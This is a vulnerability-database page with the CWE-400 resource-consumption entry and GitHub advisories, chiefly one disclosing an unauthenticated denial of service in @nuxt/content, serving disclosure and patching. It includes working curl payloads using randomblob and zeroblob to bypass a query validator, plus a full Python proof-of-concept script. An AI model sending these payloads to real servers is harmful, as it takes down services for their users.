Common Weakness Enumeration

CWE-400

Weakness Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

The product does not properly control the allocation and maintenance of a limited resource.

Dimensions

  • Behavior-Property: Uncontrolled
  • Behavior-Type: Consumption
  • Resource-Type: Resource
Mapping guidance

CWE-400 is intended for incorrect behaviors in which the product is expected to track and restrict how many resources it consumes, but CWE-400 is often misused because it is conflated with the "technical impact" of vulnerabilities in which resource consumption occurs. It is sometimes used for low-information vulnerability reports. It is a level-1 Class (i.e., a child of a Pillar).

Closely analyze the specific mistake that is causing resource consumption, and perform a CWE mapping for that mistake. Consider children/descendants.

Relationships and members
ChildOf: CWE-664 · View CWE-1000
Modes of introduction
Operation

The product could be operated in a system or environment with lower resource limits than expected, which might make it easier for attackers to consume all available resources.

System Configuration

The product could be configured with lower resource limits than expected, which might make it easier for attackers to consume all available resources.

Architecture and Design

The designer might not consider how to handle and throttle excessive resource requests, which typically requires careful planning to handle more gracefully than a crash or exit.

Implementation

There are at least three distinct scenarios that can commonly lead to resource exhaustion:

Lack of throttling for the number of allocated resources.

Losing all references to a resource before reaching the shutdown stage.

Not closing/returning a resource after processing.

Resource exhaustion problems often occur due to an incorrect implementation of the following situations:

Error conditions and other exceptional circumstances.

Confusion over which part of the program is responsible for releasing the resource.

Detection methods

Automated Static Analysis

Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.

Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

Effectiveness: Limited

Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame.

Effectiveness: Moderate

Fuzzing

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.

Effectiveness: Opportunistic

Notes

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.

Other

Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request.

A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.

Limited resources include memory, file system storage, database connection pool entries, CPU, and others.

Content history
Submission: CLASP · 2006-07-19 · CWE Draft 3
Contribution: "Mapping CWE to 62443" Sub-Working Group · CWE-CAPEC ICS/OT SIG · 2023-01-24 · CWE 4.10

Suggested mappings to ISA/IEC 62443.

Contribution: "Mapping CWE to 62443" Sub-Working Group · CWE-CAPEC ICS/OT SIG · 2023-04-25 · CWE 4.11

Suggested mappings to ISA/IEC 62443.

Contribution: Abhi Balakrishnan · 2025-02-25 · CWE 4.17

Provided diagram to improve CWE usability.

Modification: Eric Dalci · Cigital · 2008-07-01 · CWE 1.0

updated Time_of_Introduction

Modification: · Veracode · 2008-08-15 · CWE 1.0

Suggested OWASP Top Ten 2004 mapping

Modification: CWE Content Team · MITRE · 2008-09-08 · CWE 1.0

updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2008-10-14 · CWE 1.0.1

updated Description, Name, Relationships

Modification: CWE Content Team · MITRE · 2009-01-12 · CWE 1.2

updated Description

Modification: CWE Content Team · MITRE · 2009-05-27 · CWE 1.4

updated Name, Relationships

Modification: CWE Content Team · MITRE · 2009-07-27 · CWE 1.5

updated Description, Relationships

Modification: CWE Content Team · MITRE · 2009-10-29 · CWE 1.6

updated Relationships

Modification: CWE Content Team · MITRE · 2009-12-28 · CWE 1.7

updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References

Modification: CWE Content Team · MITRE · 2010-02-16 · CWE 1.8

updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2010-04-05 · CWE 1.8.1

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2010-06-21 · CWE 1.9

updated Description

Modification: CWE Content Team · MITRE · 2010-09-27 · CWE 1.10

updated Demonstrative_Examples

Modification: CWE Content Team · MITRE · 2011-06-01 · CWE 1.13

updated Common_Consequences, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2013-07-17 · CWE 2.5

updated Relationships

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2015-12-07 · CWE 2.9

updated Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2017-01-19 · CWE 2.10

updated Relationships

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, References, Relationships

Modification: CWE Content Team · MITRE · 2018-03-27 · CWE 3.1

updated References, Type

Modification: CWE Content Team · MITRE · 2019-01-03 · CWE 3.2

updated Alternate_Terms, Description, Name, Relationships, Taxonomy_Mappings, Theoretical_Notes

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2019-09-19 · CWE 3.4

updated Description, Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Description, References, Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2020-06-25 · CWE 4.1

updated Description, Maintenance_Notes

Modification: CWE Content Team · MITRE · 2020-08-20 · CWE 4.2

updated Relationships

Modification: CWE Content Team · MITRE · 2022-04-28 · CWE 4.7

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2022-06-28 · CWE 4.8

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Common_Consequences, Description, Detection_Factors, Maintenance_Notes, Related_Attack_Patterns, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated Demonstrative_Examples, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes, Relationships

Modification: CWE Content Team · MITRE · 2024-11-19 · CWE 4.16

updated Relationships

Modification: CWE Content Team · MITRE · 2025-04-03 · CWE 4.17

updated Common_Consequences, Description, Diagram, Modes_of_Introduction, Other_Notes, Time_of_Introduction

Modification: CWE Content Team · MITRE · 2025-09-09 · CWE 4.18

updated Observed_Examples, References

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Applicable_Platforms, Maintenance_Notes, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2026-04-30 · CWE 4.20

updated Applicable_Platforms, Maintenance_Notes, Mapping_Notes, Other_Notes

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings

7202 vulnerabilities reference this CWE, most recent first.

GHSA-XXR9-34QV-3673

Vulnerability from github – Published: 2022-05-24 19:09 – Updated: 2022-10-25 12:00
VLAI
Details

Dell PowerScale OneFS versions 9.1.0.3 and earlier contain a denial of service vulnerability. SmartConnect had an error condition that may be triggered to loop, using CPU and potentially preventing other SmartConnect DNS responses.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-21565"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-834"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-03T00:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Dell PowerScale OneFS versions 9.1.0.3 and earlier contain a denial of service vulnerability. SmartConnect had an error condition that may be triggered to loop, using CPU and potentially preventing other SmartConnect DNS responses.",
  "id": "GHSA-xxr9-34qv-3673",
  "modified": "2022-10-25T12:00:15Z",
  "published": "2022-05-24T19:09:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21565"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/000188148"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XXRH-5HGG-GJ4H

Vulnerability from github – Published: 2026-11-10 15:57 – Updated: 2026-11-10 15:57
VLAI
Summary
Nuxt Content: Unauthenticated SQLite Function DoS via Content Query API
Details

Summary

The POST /__nuxt_content/:collection/query endpoint in @nuxt/content accepts an attacker-controlled sql field from the HTTP request body and executes it against a local SQLite database after passing it through an insufficient validator (assertSafeQuery). The validator only blocks a small set of SQL command keywords and does not reject expensive SQLite built-in functions such as randomblob(), zeroblob(), hex(), or length(). An unauthenticated remote attacker can craft a single request that forces SQLite to allocate hundreds of megabytes of memory and perform CPU-intensive work, causing server-wide denial of service. This endpoint is enabled by default for every collection and requires no authentication.

Details

The vulnerability spans three source files:

Route registration — src/module.ts:207-208

The Nuxt Content module registers a public HTTP POST handler for each configured collection at startup:

// src/module.ts:207-208
addServerHandler({
  route: `/__nuxt_content/${collection.name}/query`,
  handler: resolver.resolve('./runtime/api/query.post'),
})

No authentication middleware is attached; the route is reachable by any client.

Source (attacker input) — src/runtime/api/query.post.ts:7-9

// src/runtime/api/query.post.ts
const { sql } = await readBody(event)          // line 8  — attacker-controlled
assertSafeQuery(sql, collection)               // line 11 — insufficient validation
return loadDatabaseAdapter(conf).all(sql)      // line 18 — raw sql passed to sink

Inadequate sanitizer — src/runtime/internal/security.ts:55-63

if (where) {
  const noString = cleanupQuery(where, { removeString: true })
  if (noString.match(SQL_COMMANDS)) {          // /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\$/i
    throw new Error('Invalid query: WHERE clause contains unsafe SQL commands')
  }
  // No rejection of function calls (randomblob, zeroblob, hex, length, …)
}

The denylist matches only six DDL/DML keywords. SQLite resource-consumption functions (randomblob, zeroblob, hex, length) are not keywords matched by the regex and therefore pass validation unconditionally.

Sink — src/runtime/internal/database.server.ts:26-28

all: async (sql, params = []) => {
  return db.prepare(sql).all(...params)        // executes the unmodified attacker sql
}

better-sqlite3's prepare().all() is a synchronous call that blocks the Node.js event loop for the entire duration of the SQLite query. A single malicious request therefore stalls all concurrent request handling.

Attack chain summary:

Attacker HTTP POST (sql field)
  → query.post.ts readBody()          [source]
  → assertSafeQuery() — BYPASS        [insufficient validation]
  → loadDatabaseAdapter().all(sql)    [propagation]
  → db.prepare(sql).all()             [sink — synchronous, blocks event loop]

PoC

Environment setup

git clone https://github.com/nuxt/content.git
cd content
git checkout d8fed0c3ddbcad5805772e1ef8da9fbe841e772e
pnpm install
pnpm dev:prepare
cd test/fixtures/basic
pnpm dev --host 127.0.0.1 --port 3000

Step 1 — Establish baseline (safe query)

curl -sS -o /dev/null -w 'status=%{http_code} time=%{time_total}\n' \
  -X POST 'http://127.0.0.1:3000/__nuxt_content/content/query' \
  -H 'content-type: application/json' \
  --data '{"sql":"SELECT * FROM _content_content WHERE (id = '"'"'1'"'"') ORDER BY stem ASC LIMIT 1"}'
# Expected: status=200 time=~0.009s

Step 2 — Attack payload (randomblob variant)

curl -sS -o /dev/null -w 'status=%{http_code} time=%{time_total}\n' \
  -X POST 'http://127.0.0.1:3000/__nuxt_content/content/query' \
  -H 'content-type: application/json' \
  --data '{"sql":"SELECT * FROM _content_content WHERE (length(hex(randomblob(200000000))) > 0) ORDER BY stem ASC LIMIT 1"}'
# Expected: status=200  time=~2.25s  (~598 MB RSS during execution)

The payload passes assertSafeQuery() because the WHERE clause contains no blocked keywords. SQLite then: 1. Allocates 200 MB of random bytes via randomblob(200000000) 2. Hex-encodes the result to a 400 MB ASCII string via hex() 3. Computes the string length via length()

Step 3 — Zeroblob variant (allocation-focused)

--data '{"sql":"SELECT * FROM _content_content WHERE (zeroblob(1000000000) IS NOT NULL) ORDER BY stem ASC LIMIT 1"}'
# 1 GB allocation; may trigger OOM termination

Automated PoC (Docker)

# Build and run the reproduction container
docker build -f vuln-001/Dockerfile -t vuln001:latest \
  reports/github_web_211_nuxt__content
docker run -d -p 3000:3000 --name vuln001-container vuln001:latest

# Run the PoC script (requires Python 3, no third-party packages)
python3 vuln-001/poc.py --host 127.0.0.1 --port 3000

Dynamic reproduction result (phase2):

Metric Value
Baseline response time 0.0088 s
Attack response time 11.82 s
Slowdown ratio 1339×
HTTP status for attack 200 (not rejected)

The Node.js event loop was blocked for the full duration of each attack request, confirmed by zero concurrent request throughput during the attack.

Proposed patch — src/runtime/internal/security.ts

 const SQL_COMMANDS = /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\$/i
+const SQL_WHERE_ALLOWED_TOKENS = new Set(['AND', 'OR', 'IN', 'NOT', 'BETWEEN', 'LIKE', 'IS', 'NULL'])

     const noString = cleanupQuery(where, { removeString: true })
     if (noString.match(SQL_COMMANDS)) {
       throw new Error('Invalid query: WHERE clause contains unsafe SQL commands')
     }
+    const tokens = noString.match(/[A-Z_]\w*/gi) || []
+    if (tokens.some(token => !SQL_WHERE_ALLOWED_TOKENS.has(token.toUpperCase()))) {
+      throw new Error('Invalid query: WHERE clause contains unsafe SQL expressions')
+    }
   }

Impact

This is an unauthenticated remote denial-of-service vulnerability. Any internet-accessible @nuxt/content application using the default SQLite/D1 adapter (i.e., the vast majority of deployments, since this is the default runtime) exposes the vulnerable endpoint without authentication at POST /__nuxt_content/<collection>/query.

Because better-sqlite3 executes queries synchronously and blocks the Node.js event loop, a single malicious request with a large randomblob() argument prevents the server from processing any other requests for the duration of that query. An attacker sending a continuous stream of such requests can sustain a complete denial of service with minimal bandwidth.

Impact scope: - Confidentiality: None — the attack does not exfiltrate data - Integrity: None — no data modification - Availability: High — complete service disruption for unauthenticated attackers with network access

All users of publicly deployed @nuxt/content v3 applications (SSR or server-side rendered static sites that retain the API route) are affected without any prerequisite authentication or prior knowledge of the application.

Reproduction artifacts

Dockerfile

# VULN-001: Unauthenticated SQLite Function DoS via @nuxt/content Content Query API
# Affects: @nuxt/content v3.15.1 (commit d8fed0c)
#
# Build context must be the parent directory (github_web_211_nuxt__content/):
#   docker build -f vuln-001/Dockerfile -t vuln001:latest .

FROM node:20-alpine

# Install build tools required for better-sqlite3 native compilation
RUN apk add --no-cache python3 make g++

WORKDIR /app

# Copy the vulnerable source files from the repo for audit reference
# These are the exact files that contain the vulnerable code paths
COPY repo/src/runtime/internal/security.ts    /app/reference/security.ts
COPY repo/src/runtime/api/query.post.ts       /app/reference/query.post.ts
COPY repo/src/runtime/internal/database.server.ts /app/reference/database.server.ts

# Copy the minimal reproduction server (JavaScript translation of the above)
COPY vuln-001/server.js /app/server.js

# Install Node.js dependencies
# better-sqlite3: same SQLite library used by @nuxt/content local SQLite adapter
RUN npm init -y && npm install better-sqlite3@12.5.0

EXPOSE 3000

CMD ["node", "server.js"]

poc.py

#!/usr/bin/env python3
"""
PoC: VULN-001 — Unauthenticated SQLite Function DoS via @nuxt/content Content Query API

Vulnerability: The POST /__nuxt_content/:collection/query endpoint reads an
attacker-supplied 'sql' field from the request body, passes it through
assertSafeQuery() in security.ts, then executes it via better-sqlite3.
assertSafeQuery() only rejects certain SQL command keywords
(SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|$) but does NOT block SQLite
built-in functions such as randomblob(), zeroblob(), hex(), or length().

Attack payload: SELECT * FROM _content_content
                WHERE (length(hex(randomblob(100000000))) > 0)
                ORDER BY stem ASC LIMIT 1

This forces SQLite to:
  1. Allocate 100 MB of random bytes via randomblob(100000000)
  2. Hex-encode the result to a 200 MB ASCII string via hex()
  3. Compute the string length via length()

The request blocks the server thread for several seconds per request.
Repeated unauthenticated requests exhaust CPU and memory, causing DoS.

Affected: @nuxt/content v3.15.1 (commit d8fed0c)
Source:   src/runtime/internal/security.ts:55-63
          src/runtime/api/query.post.ts:8,11,18
          src/runtime/internal/database.server.ts:27
CVSS:     7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
"""

import argparse
import json
import sys
import time
import urllib.error
import urllib.request

DEFAULT_HOST = '127.0.0.1'
DEFAULT_PORT = 3000

# Time threshold: attack must be at least this many seconds slower than baseline
ATTACK_MIN_SECONDS = 0.5

# SQL payloads
SAFE_SQL = (
    "SELECT * FROM _content_content "
    "WHERE (id = '1') "
    "ORDER BY stem ASC LIMIT 1"
)

# Malicious payload: passes assertSafeQuery() but forces expensive SQLite computation.
# randomblob(100_000_000) -> 100 MB allocation
# hex(...)               -> 200 MB hex string
# length(...)            -> string length computation
MALICIOUS_SQL = (
    "SELECT * FROM _content_content "
    "WHERE (length(hex(randomblob(100000000))) > 0) "
    "ORDER BY stem ASC LIMIT 1"
)

# Zeroblob variant (allocation-focused, less CPU than hex):
ZEROBLOB_SQL = (
    "SELECT * FROM _content_content "
    "WHERE (zeroblob(500000000) IS NOT NULL) "
    "ORDER BY stem ASC LIMIT 1"
)


def post_query(host, port, sql, timeout=120):
    """Send POST /__nuxt_content/content/query and return (status, elapsed, body)."""
    payload = json.dumps({"sql": sql}).encode("utf-8")
    req = urllib.request.Request(
        f"http://{host}:{port}/__nuxt_content/content/query",
        data=payload,
        headers={"Content-Type": "application/json"},
        method="POST",
    )
    t0 = time.monotonic()
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            elapsed = time.monotonic() - t0
            body = resp.read().decode("utf-8")
            return resp.status, elapsed, body
    except urllib.error.HTTPError as e:
        elapsed = time.monotonic() - t0
        body = e.read().decode("utf-8")
        return e.code, elapsed, body
    except Exception as e:
        elapsed = time.monotonic() - t0
        return None, elapsed, str(e)


def wait_for_server(host, port, retries=30, delay=1.0):
    """Poll until the server responds or timeout."""
    print(f"[*] Waiting for server at {host}:{port} ...")
    for attempt in range(1, retries + 1):
        try:
            urllib.request.urlopen(
                f"http://{host}:{port}/", timeout=2
            )
        except urllib.error.HTTPError:
            # Any HTTP response (including 404) means the server is up
            print(f"[+] Server is ready (attempt {attempt})")
            return True
        except Exception:
            pass
        time.sleep(delay)
    print(f"[!] Server did not become ready after {retries} attempts")
    return False


def main():
    parser = argparse.ArgumentParser(
        description="VULN-001 PoC: SQLite Function DoS via @nuxt/content query API"
    )
    parser.add_argument("--host", default=DEFAULT_HOST, help="Target host (default: 127.0.0.1)")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Target port (default: 3000)")
    parser.add_argument(
        "--no-wait",
        action="store_true",
        help="Skip server readiness check (useful when server is already running)",
    )
    args = parser.parse_args()

    host, port = args.host, args.port

    print("=" * 70)
    print("VULN-001: Unauthenticated SQLite Function DoS")
    print("Target: @nuxt/content v3.15.1 — POST /__nuxt_content/:collection/query")
    print("=" * 70)

    if not args.no_wait:
        if not wait_for_server(host, port):
            sys.exit(2)

    # ------------------------------------------------------------------
    # Step 1: Safe baseline query — validates endpoint is reachable
    # ------------------------------------------------------------------
    print()
    print("[STEP 1] Baseline safe query")
    print(f"  SQL: {SAFE_SQL}")
    status1, t1, body1 = post_query(host, port, SAFE_SQL)
    print(f"  Status: {status1}   Time: {t1:.4f}s")
    if status1 == 200:
        rows1 = json.loads(body1)
        print(f"  Rows returned: {len(rows1)}")
    else:
        print(f"  Response: {body1[:200]}")

    # ------------------------------------------------------------------
    # Step 2: Malicious payload — SQLite function DoS
    # ------------------------------------------------------------------
    print()
    print("[STEP 2] Malicious SQLite function payload")
    print(f"  SQL: {MALICIOUS_SQL}")
    print("  Explanation:")
    print("    randomblob(100000000) -> allocates 100 MB of random bytes")
    print("    hex(...)              -> encodes to 200 MB ASCII string")
    print("    length(...)           -> forces full evaluation before comparison")
    print("    assertSafeQuery() passes: no SQL_COMMANDS keyword found in WHERE")
    print("    Sink: better-sqlite3 db.prepare(sql).all() executes unconditionally")
    print()
    print("  Sending request ...")
    status2, t2, body2 = post_query(host, port, MALICIOUS_SQL)
    print(f"  Status: {status2}   Time: {t2:.4f}s")
    if status2 == 200:
        rows2 = json.loads(body2)
        print(f"  Rows returned: {len(rows2)}  (assertSafeQuery() did NOT reject this query)")
    else:
        print(f"  Response: {body2[:200]}")

    # ------------------------------------------------------------------
    # Step 3: Report
    # ------------------------------------------------------------------
    print()
    print("[RESULT]")
    print(f"  Baseline time  : {t1:.4f}s")
    print(f"  Attack time    : {t2:.4f}s")
    ratio = (t2 / t1) if t1 > 0 else float("inf")
    print(f"  Slowdown ratio : {ratio:.1f}x")
    print()

    accepted = status2 == 200
    slow_enough = t2 >= ATTACK_MIN_SECONDS

    if accepted and slow_enough:
        print("[PASS] VULNERABILITY CONFIRMED")
        print(f"  1. assertSafeQuery() ACCEPTED the malicious payload (no 400 error)")
        print(f"  2. SQLite executed randomblob(100000000); observed {t2:.4f}s execution time")
        print(f"  3. Time delta confirms resource exhaustion: {t2:.4f}s vs baseline {t1:.4f}s")
        print(f"  4. Unauthenticated attacker can chain requests to exhaust server CPU/memory")
        sys.exit(0)
    elif accepted and not slow_enough:
        print("[WARN] Payload was ACCEPTED but execution was faster than threshold")
        print(f"  accepted={accepted}, time={t2:.4f}s, threshold={ATTACK_MIN_SECONDS}s")
        print("  Try increasing the blob size in MALICIOUS_SQL (e.g. 200000000)")
        sys.exit(1)
    else:
        print(f"[FAIL] Unexpected result: accepted={accepted}, time={t2:.4f}s")
        print(f"  Response body: {body2[:300]}")
        sys.exit(1)


if __name__ == "__main__":
    main()

Affected versions

All @nuxt/content v3 releases before 3.15.2 are affected (>= 3.0.0, < 3.15.2). The report was reproduced against 3.15.1, but the same WHERE clause validation gap exists in every earlier v3 release; 3.0.0 performed no query validation at all.

Fully static (prerendered, no server) deployments are not affected.

Patches

Fixed in 3.15.2 (#3819): function calls are rejected in query WHERE clauses. Subsequent releases harden validation further — 3.16.1 removes a ReDoS in assertSafeQuery (#3851) and 3.16.2 only accepts WHERE clauses matching the exact output of the query builder (#3862, #3877). Upgrading to the latest version (>= 3.16.2) is recommended.

Workarounds

If you cannot upgrade, block or restrict access to POST /__nuxt_content/*/query at the proxy/WAF level, or prerender the site so the endpoint is not deployed.

Credits

Also independently reported by @Pig-Tail (GHSA-c739-vwm9-rgx3) and @maru1009 (as part of GHSA-wjh8-qcrm-wf29).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nuxt/content"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.15.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-102650"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-10T15:57:12Z",
    "nvd_published_at": "2026-11-06T18:17:37Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `POST /__nuxt_content/:collection/query` endpoint in `@nuxt/content` accepts an attacker-controlled `sql` field from the HTTP request body and executes it against a local SQLite database after passing it through an insufficient validator (`assertSafeQuery`). The validator only blocks a small set of SQL command keywords and does not reject expensive SQLite built-in functions such as `randomblob()`, `zeroblob()`, `hex()`, or `length()`. An unauthenticated remote attacker can craft a single request that forces SQLite to allocate hundreds of megabytes of memory and perform CPU-intensive work, causing server-wide denial of service. This endpoint is enabled by default for every collection and requires no authentication.\n\n### Details\n\nThe vulnerability spans three source files:\n\n**Route registration \u2014 `src/module.ts:207-208`**\n\nThe Nuxt Content module registers a public HTTP POST handler for each configured collection at startup:\n\n```ts\n// src/module.ts:207-208\naddServerHandler({\n  route: `/__nuxt_content/${collection.name}/query`,\n  handler: resolver.resolve(\u0027./runtime/api/query.post\u0027),\n})\n```\n\nNo authentication middleware is attached; the route is reachable by any client.\n\n**Source (attacker input) \u2014 `src/runtime/api/query.post.ts:7-9`**\n\n```ts\n// src/runtime/api/query.post.ts\nconst { sql } = await readBody(event)          // line 8  \u2014 attacker-controlled\nassertSafeQuery(sql, collection)               // line 11 \u2014 insufficient validation\nreturn loadDatabaseAdapter(conf).all(sql)      // line 18 \u2014 raw sql passed to sink\n```\n\n**Inadequate sanitizer \u2014 `src/runtime/internal/security.ts:55-63`**\n\n```ts\nif (where) {\n  const noString = cleanupQuery(where, { removeString: true })\n  if (noString.match(SQL_COMMANDS)) {          // /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\\$/i\n    throw new Error(\u0027Invalid query: WHERE clause contains unsafe SQL commands\u0027)\n  }\n  // No rejection of function calls (randomblob, zeroblob, hex, length, \u2026)\n}\n```\n\nThe denylist matches only six DDL/DML keywords. SQLite resource-consumption functions (`randomblob`, `zeroblob`, `hex`, `length`) are not keywords matched by the regex and therefore pass validation unconditionally.\n\n**Sink \u2014 `src/runtime/internal/database.server.ts:26-28`**\n\n```ts\nall: async (sql, params = []) =\u003e {\n  return db.prepare(sql).all(...params)        // executes the unmodified attacker sql\n}\n```\n\n`better-sqlite3`\u0027s `prepare().all()` is a synchronous call that blocks the Node.js event loop for the entire duration of the SQLite query. A single malicious request therefore stalls all concurrent request handling.\n\n**Attack chain summary:**\n\n```\nAttacker HTTP POST (sql field)\n  \u2192 query.post.ts readBody()          [source]\n  \u2192 assertSafeQuery() \u2014 BYPASS        [insufficient validation]\n  \u2192 loadDatabaseAdapter().all(sql)    [propagation]\n  \u2192 db.prepare(sql).all()             [sink \u2014 synchronous, blocks event loop]\n```\n\n### PoC\n\n**Environment setup**\n\n```bash\ngit clone https://github.com/nuxt/content.git\ncd content\ngit checkout d8fed0c3ddbcad5805772e1ef8da9fbe841e772e\npnpm install\npnpm dev:prepare\ncd test/fixtures/basic\npnpm dev --host 127.0.0.1 --port 3000\n```\n\n**Step 1 \u2014 Establish baseline (safe query)**\n\n```bash\ncurl -sS -o /dev/null -w \u0027status=%{http_code} time=%{time_total}\\n\u0027 \\\n  -X POST \u0027http://127.0.0.1:3000/__nuxt_content/content/query\u0027 \\\n  -H \u0027content-type: application/json\u0027 \\\n  --data \u0027{\"sql\":\"SELECT * FROM _content_content WHERE (id = \u0027\"\u0027\"\u00271\u0027\"\u0027\"\u0027) ORDER BY stem ASC LIMIT 1\"}\u0027\n# Expected: status=200 time=~0.009s\n```\n\n**Step 2 \u2014 Attack payload (randomblob variant)**\n\n```bash\ncurl -sS -o /dev/null -w \u0027status=%{http_code} time=%{time_total}\\n\u0027 \\\n  -X POST \u0027http://127.0.0.1:3000/__nuxt_content/content/query\u0027 \\\n  -H \u0027content-type: application/json\u0027 \\\n  --data \u0027{\"sql\":\"SELECT * FROM _content_content WHERE (length(hex(randomblob(200000000))) \u003e 0) ORDER BY stem ASC LIMIT 1\"}\u0027\n# Expected: status=200  time=~2.25s  (~598 MB RSS during execution)\n```\n\nThe payload passes `assertSafeQuery()` because the WHERE clause contains no blocked keywords. SQLite then:\n1. Allocates 200 MB of random bytes via `randomblob(200000000)`\n2. Hex-encodes the result to a 400 MB ASCII string via `hex()`\n3. Computes the string length via `length()`\n\n**Step 3 \u2014 Zeroblob variant (allocation-focused)**\n\n```bash\n--data \u0027{\"sql\":\"SELECT * FROM _content_content WHERE (zeroblob(1000000000) IS NOT NULL) ORDER BY stem ASC LIMIT 1\"}\u0027\n# 1 GB allocation; may trigger OOM termination\n```\n\n**Automated PoC (Docker)**\n\n```bash\n# Build and run the reproduction container\ndocker build -f vuln-001/Dockerfile -t vuln001:latest \\\n  reports/github_web_211_nuxt__content\ndocker run -d -p 3000:3000 --name vuln001-container vuln001:latest\n\n# Run the PoC script (requires Python 3, no third-party packages)\npython3 vuln-001/poc.py --host 127.0.0.1 --port 3000\n```\n\n**Dynamic reproduction result (phase2):**\n\n| Metric | Value |\n|---|---|\n| Baseline response time | 0.0088 s |\n| Attack response time | 11.82 s |\n| Slowdown ratio | **1339\u00d7** |\n| HTTP status for attack | 200 (not rejected) |\n\nThe Node.js event loop was blocked for the full duration of each attack request, confirmed by zero concurrent request throughput during the attack.\n\n**Proposed patch \u2014 `src/runtime/internal/security.ts`**\n\n```diff\n const SQL_COMMANDS = /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\\$/i\n+const SQL_WHERE_ALLOWED_TOKENS = new Set([\u0027AND\u0027, \u0027OR\u0027, \u0027IN\u0027, \u0027NOT\u0027, \u0027BETWEEN\u0027, \u0027LIKE\u0027, \u0027IS\u0027, \u0027NULL\u0027])\n \n     const noString = cleanupQuery(where, { removeString: true })\n     if (noString.match(SQL_COMMANDS)) {\n       throw new Error(\u0027Invalid query: WHERE clause contains unsafe SQL commands\u0027)\n     }\n+    const tokens = noString.match(/[A-Z_]\\w*/gi) || []\n+    if (tokens.some(token =\u003e !SQL_WHERE_ALLOWED_TOKENS.has(token.toUpperCase()))) {\n+      throw new Error(\u0027Invalid query: WHERE clause contains 